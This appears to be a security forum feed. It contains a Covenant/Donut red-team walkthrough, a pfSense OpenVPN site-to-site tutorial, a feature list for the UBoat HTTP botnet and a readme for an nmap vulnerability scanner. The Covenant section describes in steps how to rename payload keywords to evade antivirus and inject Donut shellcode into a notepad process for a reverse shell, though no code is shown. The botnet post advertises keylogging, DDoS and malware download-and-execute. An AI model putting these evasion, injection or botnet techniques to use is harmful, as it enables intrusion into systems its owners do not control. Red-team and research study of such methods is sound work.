    WPA/WPA2 has been dwindling after the discovery of WPA2 key-reinstallation attack (KRACK) and while testing the new WPA3 protocol, Jens Steube stumbled upon on another vulnerability in WPA2 protocol, rejecting the need for a handshake to be in place. This highly visualized the traditional WPA/WPA2 cracking through MIC code into a new more robust EAPOL capture. The outcome of this is that now we are better able to crack WPA2 without handshake and can acheive more perfect performace.

  7. 2 weeks ago
    Fri Jan 31 10:25:30 2020
    Men in Black started the conversation Red Teaming with Covenant and Donut.



    Red Teaming has rapidly transitioned from Living off the Land (LotL) to Bringing Your Own Land (BYOL). It is now possible to execute .NET assemblies entirely within memory. By developing custom C#-based assemblies, attackers no longer need to rely on the tools present on the target system; they can instead write and deliver their own tools, a technique called Bring Your Own Land (BYOL). This has led to transitions from PowerShell tools (e.g. PowerShell Empire) to frameworks targeted for .NET assemblies. shamelessly copied from this source

    About Covenant

    Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. Covenant is an ASP.NET Core, cross-platform application that includes a web-based interface that allows for multi-user collaboration.


    Figure 1: Covenant dashboard showing Grunts (active PWNED systems), listeners and executed tasks

    The dashboard above is one of the major goals of red teamers, i.e., ability to communicate with payloads installed/executed on victims’ machines while bypassing security controls such as Anti-Virus (AV) and Event Detection and Response (EDR) solutions.

    Installation and more reading

    Further information is well covered by the author - Ryan Cobb at the Wiki

    Current use of Covenant

    This methodology below might be out-dated by the time you are reading this, but as at 13th of November, 2019, it was effective at evading well known EDR and Windows Defender (the anti-virus).

    Dashboard components – A high level view showing compromised systems (referred to as Grunts), active listeners, and tasks that have been executed.


    Configuring a listener

    This shows the configuration of an active listeners called “donut” in this case. Click on “Listeners”, then “Create”.


    Configure the Name, BindAddress, BindPort, ConnectAddress and ConnectPort.


    Once the listener is created, it shows up in the Listeners view ready to receive connections from Grunts (compromised systems).

    Next step is to use the Launcher menu to create a payload that would be executed on the victim’s system. The available launchers are shown below. In my example, I will be using the “Binary” launcher to generate a payload.


    Select the created listener “donut”, “template” and depending on the victim’s .NET framework, select an appropriate DotNetFrameworkVersion (Net40) works in most cases as Windows 10 comes with it by default. Click “Generate” and then the “<> Code” tab to see the C# code.


    You can also download the binary file as shown below, but Windows Defender has caught on to the Covenant Binary, as it is now detected in its default configuration.


    To evade this detection, we copy out the C# code and paste into a file called “doctest.cs”.


    Find & Replace keywords like “Grunt”, “Stager”, “Execute”, “Covenant” and any other that might trip the antivirus. New modified c# file should look like:


    Compile the file using visual studio to generate a “doctest.exe” which can be copied to the victim system and executed to get a reverse shell.


    However, most AV/EDRs have started preventing processes from loading assemblies using Assembly.Load (which is a technique that Covenant heavily relies on), thus it is almost impossible to issue further commands after getting the reverse shell as shown below:


    Introducing Donut

    Donut generates x86 or x64 shellcode from VBScript, JScript, EXE, DLL (including .NET Assemblies) files. This shellcode can be injected into an arbitrary Windows process for in-memory execution. Given a supported file type, parameters and an entry point where applicable (such as Program.Main), it produces position-independent shellcode that loads and runs entirely from memory. More information can be found at this location

    Donut provided a solution to our initial problem of loading assemblies into memory, it provided a way of converting executables (such as those generated by Covenant) into shellcode, which is easy to inject into compatible running processes.

    Here we issue a donut command to generate an x64 shellcode of our covenant payload (doctest.exe) The shellcode is generated as “doctest.bin”


    The next step is to inject this shellcode into a running process with the same architecture. Also, note that injecting into a process affect the process (maybe not crash it, but might make it slower or non-reactive). Usually one can spin up a notepad and inject into the notepad process which should not cause any operational issues except that the tested EDR might flag the fact that notepad is issuing OS commands :D (don’t run “ShellCmd” when using notepad process, instead run “PowerShell” commands, though this depends on your EDR config)

    The generated shellcode files (for x86 and x64 bit process) are converted to Base64 and copied to clipboard using the command shown below:


    They are pasted into an injector program “DonutTest ” and built in Visual Studio (or using csc, or any platform that can compile c#). This program is responsible for the injection of the shellcodes into a specified process ID.


    Spin up a notepad program and check for the process ID (5132 in this case) using Ryan’s ProcessManager


    Execute the DonutTest program, providing the notepad process ID as an argument.


    This should inject and execute the shellcode that is compatible with the process and give a revere shell on the Covenant C2.


    We can now issue same queries as above without being detected by AV and EDRs.


    This post only highlights one of many approaches for crafting payloads and also to introduce Covenant and Donut to give us an idea of how .NET tradecraft is evolving. For shellcode injection, I prefer to use a modified version of UrbanBishop to do the job.

  8. 5 weeks ago
    Mon Jan 13 19:04:27 2020
    Men in Black started the conversation pfSense – OpenVPN Site-to-Site Setup.


    Before you begin:

    • This tutorial is for an OpenVPN Site-to-Site setup using two pfSense devices, one running an OpenVPN server and the other an OpenVPN client.
    • This tutorial is not for setting up an OpenVPN server for Windows or smartphone clients to connect to a remote network over a VPN.
    • It is assumed in this tutorial that the pfSense box running the OpenVPN server is getting a public (internet) IP address on its WAN interface. If the pfSense box is behind another routing device and using a local IP address from this device, this tutorial won’t work without port forwarding or placing the pfSense device in the upstream modem/router’s DMZ.
    • For this tutorial, the Main Office device will be on a subnet and the Satellite Office will be on a subnet. You will need to change these values in the tutorial to match your own network’s IP addressing scheme.

    Step 1: Setting up the OpenVPN Server

    Things to note:

    • These instructions are for the configuration on the Main Office pfSense device where Satellite pfSense client will connect to.
    • The Main Office will require a static WAN IP address from their ISP to avoid the VPN going down when their public IP address is changed. If they don’t, you will have to setup a DDNS account. These instructions don’t cover how to do that.
    1. Login to pfSense at your Main Office location.
    2. Click on VPN→OpenVPN
    3. Within the Servers tab Click on green Add button
    4. Fill out the following information:
    • IPv4 Tunnel Network:
    • IPv6 Tunnel Network: blank
    • General Information
    • Disabled: Unchecked
    • Server mode: Peer to Peer (Shared Key)
    • Protocol: UDP on IPv4 only
    • Device mode: tun – Layer 3 Tunnel Mode
    • Interface: WAN
    • Local port: 1195. note: We are using 1195 instead of 1194 as that is more commonly used for multiple client based VPNs. We’ll save port 1194 if we need it in the future or if we already have a Client Based VPN setup for Windows clients to connect into.
    • Description: Site_to_Site_OpenVPN
    • Cryptographic Settings
    • Shared Key: Checked
    • Encryption Algorithm: AES-128-CBC (128 bit key, 128 bit block)
    • Enable NCP: Checked
    • NCP Algorithms: do not change anything in here
    • Auth digest algorithm: SHA1 (160 –bit)
    • Hardware Crypto: No Hardware Crypto Acceleration
    • Tunnel Settings:
    • IPv4 Tunnel Network:
    • IPv6 Tunnel Network: blank
    • IPv4 Remote Network(s): (Please note: this is the tutorial value. To adjust this for your own scenario, enter the subnet of your Satelite (client) pfSense device For example, if the Main Office device running OpenVPN Server is on a subnet and the Satellite device running pfSense is on a 192.168.10/24 subnet, you would enter in
    • IPv6 Remote network(s): blank
    • Concurrent connections: 2
    • Compression: Omit Preference (Use OpenVPN Default)
    • Type-of-Service: Unchecked
    • Advanced Configuration:
    • Custom options: blank
    • UDP Fast I/O: Unchecked
    • Send/Receive Buffer: Default
    • Gateway creation: Both
    • Verbosity level: default
    • Click on the blue Save button.

    Before moving on: If you won’t be able to easily access your Main Office pfSense device running your OpenVPN server while simultaneously accessing your Satellite Office pfSense device, stop and copy the Shared Key on your Main Office pfSense OpenVPN server by following the instructions below. If you will be able to access them both at the same time, move on to Step 2.

    • Login to pfSense (At the MAIN OFFICE LOCATION!)
    • Click on VPN→OpenVPN.
    • Click on the Pencil icon to edit the Site_to_Site_OpenVPN (tun).
    • Under the Cryptographic Settings copy the whole Shared Key that is in the dialog box. (Click in there and do a ctrl+A and then ctrl+C)
    • Save it in a text file and email it to yourself so you can use it in the next steps.
    • Make sure to delete or secure this key once you’re finished at it could give anyone in its possession access to your network.

    Step 2: Setup the pfSense device in your Satellite office to connect as an OpenVPN Client

    These configuration changes need to be done on the Satellite Office pfSense device so it can connect back to the Main Office location.

    Part 1: Setup the OpenVPN Client

    1. Login to pfSense (Satellite office)
    2. Click on VPN→OpenVPN
    3. Click on the Clients tab.
    4. Click on the green Add button.
    5. Fill out the following information:
    • General Information:
    • Disabled: Unchecked
    • Server mode: Peer to Peer (Shared Key)
    • Protocol: UDP on IPv4 only
    • Device mode: tun-layer 3 Tunnel Mode
    • Server mode: Peer to Peer (Shared Key)
    • Interface: WAN
    • Local Port: blank
    • Server host or address: This is going to be the public IP address of the Main Office location where your pfSense device is running the OpenVPN server. If the client does not have a static IP address from their ISP it would be a good idea to setup a no-ip DDNS account. This is not covered in this tutorial.
    • Server port: 1195
    • Proxy host or address: blank
    • Proxy port: blank
    • Proxy Authentication: none
    • Description: Site_to_Site_OpenVPN
    • Cryptographic Settings:
    • Auto generate: unchecked
    • Shared Key: You will need to log back into the pfSense device at the Main Office location and copy the Shared Key and paste it into this box. You will find the Shared key by the following steps:
    1. Login to pfSense (At the MAIN OFFICE LOCATION!)
    2. Click on VPN→OpenVPN.
    3. Click on the Pencil icon to edit the Site_to_Site_OpenVPN (tun).
    4. Under the Cryptographic Settings copy the whole Shared Key that is in the dialog box. (Click in there and do a Ctrl+A and then Ctrl+C)
    5. Paste that Shared key into the Satellite Office PfSense Shared key dialog box
    • Encryption Algorithm: AES-128-CBC (128 bit key, 128 bit block)
    • Enable NCP: Checked
    • NCP Algorithms: do not change anything in here
    • Auth digest algorithm: SHA1 (160 –bit)
    • Hardware Crypto: No Hardware Crypto Acceleration
    • Tunnel Settings:
    • IPv4 Tunnel Network:
    • IPv6 Tunnel Network: blank
    • IPv4 Remote network(s): (Please note: this is the tutorial value. To adjust this for our own scenario, enter the subnet address for your Main Office location. For example, if the Main Office device running pfSense with your OpenVPN Server is on a subnet and the Satellite Office device running pfSense with your OpenVPN Client is on a 192.168.10/24 subnet, you would enter in
    • IPv6 Remote network(s): blank
    • Limit outgoing bandwidth: blank
    • Compression: Omit Preference (Use OpenVPN Default)
    • Type-of-Service: Unchecked
    • Don’t add/remove routes: Unchecked
    • Advanced Configuration:
    • Custom options: blank
    • UDP Fast I/O: Unchecked
    • Send/Receive Buffer: Default
    • Gateway creation: Both
    • Verbosity level: default

    Part 2: Configure the Firewall Rules

    1. Login to pfSense (Satellite Office)
    2. Click on Firewall→Rules
    3. Click on the OpenVPN tab.
    4. Within the OpenVPN tab Click on the green Add button that is pointing UP
    5. Fill out the following information:
    • Edit the Firewall Rule
    • Action: Pass
    • Disabled: unchecked
    • Interface: OpenVPN
    • Address Family: IPv4
    • Protocol: any
    • Source: +Source: Invert match: unchecked —> any
    • Destination: +Destination: Invert match: unchecked —> any
    • Extra Option:
    • Log: Unchecked
    • Description: OpenVPN for Site-to-Site OpenVPN on 1195
    1. Click the blue Save button.
    2. Click the green Apply changes button.

    You now need to test the OpenVPN connection to see if it works. Here is how to do that.

    1. Login to pfSense on the Main office Router
    2. Click on the Status→OpenVPN. If the OpenVPN connection is working you should see the IP address of the connected pfSense router at the Satellite location.
    3. Open up a command prompt on a Windows machine and try pinging the Local IP address of the Satellite Office device. In the example we used for this tutorial was the IP of the MAIN location and was the location of the Satellite location.
    4. If you get a result back it means traffic is passing across the tunnel and the Main Office can see the Satellite office.
    5. Now you need to do the opposite. Open up a command prompt on a Windows machine that is at the Satellite office. Try pinging the Local IP address of the Main office router. In the example we used for this tutorial was the IP of the MAIN location and was the location of the Satellite location. So we’ll ping
    6. If you get a result back it means traffic is passing across the tunnel and the Main Office can see the Satellite office.
    7. Keep in mind, just because you can ping the routers at both ends doesn’t necessarily mean you will be able to see Windows machines and ping them. If a Windows machine does not have File and Print Sharing open in its Firewall settings you won’t be able to ping it.
  9. 3 months ago
    Tue Nov 12 20:15:56 2019
    Men in Black started the conversation UBoat - HTTP Botnet Project .


    A POC HTTP Botnet designed to replicate a full weaponised commercial botnet


    This project should be used for authorized testing or educational purposes only.
    The main objective behind creating this offensive project was to aid security researchers and to enhance the understanding of commercial HTTP loader style botnets . I hope this project helps to contribute to the malware research community and people can develop efficient counter mesures :)
    Usage of uboat without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.

    What is a Botnet ?


    • Coded in C++ with no dependencies
    • Encrypted C&C Communications
    • Persistence to prevent your control being lost
    • Connection Redundancy (Uses a fallback server address or domain )
    • DDoS methods (TCP & UDP Flood)
    • Task Creation System ( Altering system HWID,Country,IP,OS.System )
    • Remote Commands
    • Update and Uninstall other malware
    • Download and Execute other malware
    • Active as well as Passive Keylogger
    • Enable Windows RDP
    • Plugin system for easy feature updates

    Getting started ?

    TODO :-

    • Fix minor panel bugs
    • Make the authentication system more efficient

    Project maintained by

    • Souhardya Sardar (

    Screens :



    Download UBoat

  10. Tue Nov 12 20:10:42 2019


    Vulnerability scanner tool is using nmap and nse scripts to find vulnerabilities
    This tool puts an additional value into vulnerability scanning with nmap. It uses NSE scripts which can add flexibility in terms of vulnerability detection and exploitation. Below there are some of the features that NSE scripts provide

    • Network discovery
    • More sophisticated version detection
    • Vulnerability detection
    • Backdoor detection
    • Vulnerability exploitatio

    This tool uses the path /usr/share/nmap/scripts/ where the nse scripts are located in kali linux
    The tool performs the following

    • check the communication to the target hosts by cheking icmp requests
    • takes as input a protocol name such as http and executes all nse scripts related to that protocol
    • if any vulnerability triggers it saves the output into a log file
    • it may perform all of the above actions for a range of IP addresses

    If the tool finds a vulnerabilty in a certain protocol (e.g http) it keeps the output into a log file which is created and saved in the following location /home/vulnerabilities_enumeration/http_vulnerabilities/http_vulnerabilities/http_vulnerabilities.txt In this example the folders have been created using the protocol prefix which in the current occasion is the http protocol.


    [Usage:] ./ <ip_range> <protocol> <port> <Pn (optional)>
    [Usage:] ./ <ips_file> <protocol> <port> <Pn (optional)>
    [Usage:] ./ <ip> <protocol> <port> <Pn (optional)>

    How to run:

    ./ http 80
    ./ http 80
    ./ ssh 22 Pn
    ./ IPs.txt smb 445


    Example: SMB scanning


    Example: Slowloris vulnerability detection

    Example: multiple IP scanning SSH weak keys

    Example: When the system is down or no ICMP requests

    Download Vscan

View more